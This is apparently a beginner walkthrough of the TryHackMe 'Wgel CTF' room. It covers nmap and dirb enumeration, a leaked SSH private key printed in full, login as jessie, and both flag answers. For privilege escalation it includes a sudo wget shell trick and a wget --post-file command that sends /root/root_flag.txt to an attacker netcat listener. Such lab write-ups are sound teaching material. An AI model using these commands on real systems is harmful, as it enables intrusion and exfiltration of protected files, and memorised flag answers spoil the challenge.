

Beginner-friendly Writeup/Walkthrough of the room Wgel CTF from TryHackMe with answers. You can find the room [here](#).

The Contents of the Room:

- Task 1: User flag
- Task 2: Root flag

Let's start with a nmap scan:

```
(kali@kali)-[~/Downloads]
$ nmap -A $ip
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-17 18:27 UTC
Nmap scan report for 10.10.138.111
Host is up (0.078s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 94961b66801b7648682d14b59a01aaaa (RSA)
|   256 18f710cc5f40f6cf92f86916e248f438 (ECDSA)
|_  256 b90b972e459bf32a4b11c7831033e0ce (ED25519)
53/tcp    open  domain   (generic dns response: SERVFAIL)
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_ http-title: Apache2 Ubuntu Default Page: It works
|_ http-server-header: Apache/2.4.18 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.93%I=7%D=7/17%Time=64B58843%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x82\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.66 seconds
```

We see that there is a open http port, if we check the website we get the default apache page, if we check the source page we'll find a interesting comment:

```

<!-- Jessie don't forget to update the website -->
</pre>
<ul>
    <li>
        <tt>apache2.conf</tt> is the main configuration
        file. It puts the pieces together by including
        files when starting up the web server.
    </li>

```

This might be a user on the machine jessie, let's remember the name. Let's use dirb to maybe find some other pages:

```

(kali㉿kali)-[~/Downloads]
$ dirb http://$ip/ /usr/share/wordlists/dirb/common.txt

_____
DIRB v2.22
By The Dark Raver
_____

START_TIME: Mon Jul 17 18:29:06 2023
URL_BASE: http://10.10.138.111/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt

_____

GENERATED WORDS: 4612

--- Scanning URL: http://10.10.138.111/ ---
+ http://10.10.138.111/index.html (CODE:200|SIZE:11374)
+ http://10.10.138.111/server-status (CODE:403|SIZE:278)
=> DIRECTORY: http://10.10.138.111/sitemap/
--- Entering directory: http://10.10.138.111/sitemap/ ---
=> DIRECTORY: http://10.10.138.111/sitemap/.ssh/
=> DIRECTORY: http://10.10.138.111/sitemap/css/
=> DIRECTORY: http://10.10.138.111/sitemap/fonts/
=> DIRECTORY: http://10.10.138.111/sitemap/images/
+ http://10.10.138.111/sitemap/index.html (CODE:200|SIZE:21080)
=> DIRECTORY: http://10.10.138.111/sitemap/js/
--- Entering directory: http://10.10.138.111/sitemap/.ssh/ ---

```

We get some interesting results, if we check **\$ip/sitemap** page we get a template of a website, we don't really find anything interesting there, but the **\$ip/sitemap/.ssh** looks really interesting let's check it out:

Index of /sitemap/.ssh

Name	Last modified	Size	Description
 Parent Directory		-	
 id_rsa	2019-10-26 09:24	1.6K	

Apache/2.4.18 (Ubuntu) Server at 10.10.138.111 Port 80

```
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA2mujeBv3MEQFCe18yvJgDz066+8Gz0W72HJ5tvG8bj7Lz380
m+JYAqy301Sp5jH/bhcvYLSK+T9zEdzHmjKDtZN2cYgwHw0dDadSXWff9W2gc3x
W69vjkHLJs+1Q10bEJvqpCZ1rFFSpV00jVYRxQ4KfAawBsCG61A7G07vLZPRiKsP
y4lg2StXQYUz0cUvx8UkhpgxWy/009ceMNondU61kyHafKobJP7Py5QnH7cP/psr
+J5M/fVBoKPcPXA71mA/ZUioimChBPV/i/0za0FzVuJZdnSPtS7LzPjYFqxnM/BH
Wo/Lmln4FLzLb1T31p0oTtTKuUQWxHf7cN8v6QIDAQABaoIBAFZDKpV2HgI+6iqG
/1U+Q2dhXFLv3PWhadXLKEzbXfsAbAfwCjwCgZXUb9mFoNI2Ic4PsPjbqyCO2LmE
AnAhHKQNeUon3ymGJEU9iJMjigb5xZGwX0FBoUJCs9QJMBBZthWylLJUKic7GvPa
M7QYKP51VCi1j3Gr0dlYgFSRkP6jZpOpM33dG1/ubom70WDZPDS9Aja0kYuJBobG
SUM+uxh7Jjn8uM9J4NvQPKC10RIXFYECwNW+iHsB0CWlCF7CAZAbWLSJgd6TcGTv
2KBA6YcfGXN0b49CF0BMLBY/dCWpHu+d0KcruHTeTnM7aLdrexpiMJ3XHVQ4QRP2
p3xz9QECgYEA+VXndZU98FT+armRv8iwuCOAmN8p7tD1W9S2evJEA5uTCsDzmsDj
7pU08zziTXgeDENrcz1uo0e3bL13MiZeFe9HQNMpVOX+vEaCZd6ZNFbJ4R889D7I
dcXDvkNRbw42ZwX8TawzwXFVhn8Rs9fMwPlbdVh9f9h7papfGN2FoeECgYEA4Eiy
GW9eJnl0tzL31TpW2lnJ+KYCRIlucQUnBtQLWdTncUkm+LBS5Z6dGxEcwCrYY1fh
shl66KulTmE3G9nFPKczCwd7jFWmUUK0hX6Sog7VRQZw72cmp71Yb1KRQ9A0Nb97
uhgbVrK/Rm+uACIJ+YD57/ZuwuhnJPirXwdaXwkCgYBMkrxN2TK3f3LPFGST8K+N
LaIN00Q622e8TnFkme8AV9lPp7eWfG2tJHk1gw0IXx4Da8oo466QiFBb74kN3u
QJkSaIdWAnh0G/dqD63fbBP951kS7cEkokLWSNhwkffUuDeIpy0R6JuKfbXTFKBW
V35mEHIidDqtCyC/gzDKIQKBgDE+d+/b46nBK976oy9AY0gJRW+DTKYuI4FP51T5
hRCRzsyios7dMiVPtxtsomEHwYZiybnr3SeFGuUrlw/Qq9iB8/ZMckMGbxoUGmr
9Jj/dtd0ZaI8XWGHmOkncVyZwI044ftoRcCQ+a2G4oeG8ffG2ZtW2tWT40pebIsu
eyq5AoGBANck0aWnitoMTdWZ5d+WNnCqcztoNppuoMaG7L3smUSBz6k8J4p4yDPb
QNf1fedEOvsGuMlpNgvcWVXGINgo00USJTxCrQFy/onH6X1T50AAW6/UXc4S7Vsg
jL8g9yBg4vPB8dHC6JeJpFFE06vxQMFzn6vjEab9GhnpMihRSCod
-----END RSA PRIVATE KEY-----
```

We get a rsa private key, now we can try to log in through ssh as jessie:

```
chmod 600 rsa_id
ssh -i key jessie@ip
```

and.. we are in! it worked! Now we can find the flag:

```
jessie@CorpOne:~$ ls
Desktop  Downloads      Music    Public    Videos
Documents examples.desktop Pictures  Templates
jessie@CorpOne:~$ cd Desktop/
jessie@CorpOne:~/Desktop$ ls
jessie@CorpOne:~/Desktop$ cd ..
jessie@CorpOne:~$ ls
Desktop  Downloads      Music    Public    Videos
Documents examples.desktop Pictures  Templates
jessie@CorpOne:~$ cd Documents/
jessie@CorpOne:~/Documents$ ls
user_flag.txt
jessie@CorpOne:~/Documents$ cat user_flag.txt
057c67131c3d5e42dd5cd3075b198ff6
```

Answer 1: 057c67131c3d5e42dd5cd3075b198ff6

Privilege escalation

The first thing we should is to check the Sudo permissions, what we can run as root:

```
jessie@CorpOne:~/Documents$ sudo -l
Matching Defaults entries for jessie on CorpOne:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jessie may run the following commands on CorpOne:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/wget
```

Okay, we now know that we can run wget as root, let's search for it GFTO

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sudo wget --use-askpass=$TF 0
```

What we can now do is to replicate this technique by opening a port on our machine then sending the root flag to our machine:

```
nc -nvlp 9001
```

```
sudo wget --post-file=/root/root_flag.txt http://$my_ip:9001
```

Now if we look at our nc command we will see the root flag:


```
(kali@kali)-[~/Downloads]
└─$ nc -lvp 9001
listening on [any] 9001 ...
connect to [10.8.64.85] from (UNKNOWN) [10.10.138.111] 59902
POST / HTTP/1.1
User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.8.64.85:9001
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

b1b968b37519ad1daa6408188649263d
```

Answer 2: b1b968b37519ad1daa6408188649263d

And we are done! Thank you for checking out my writeup!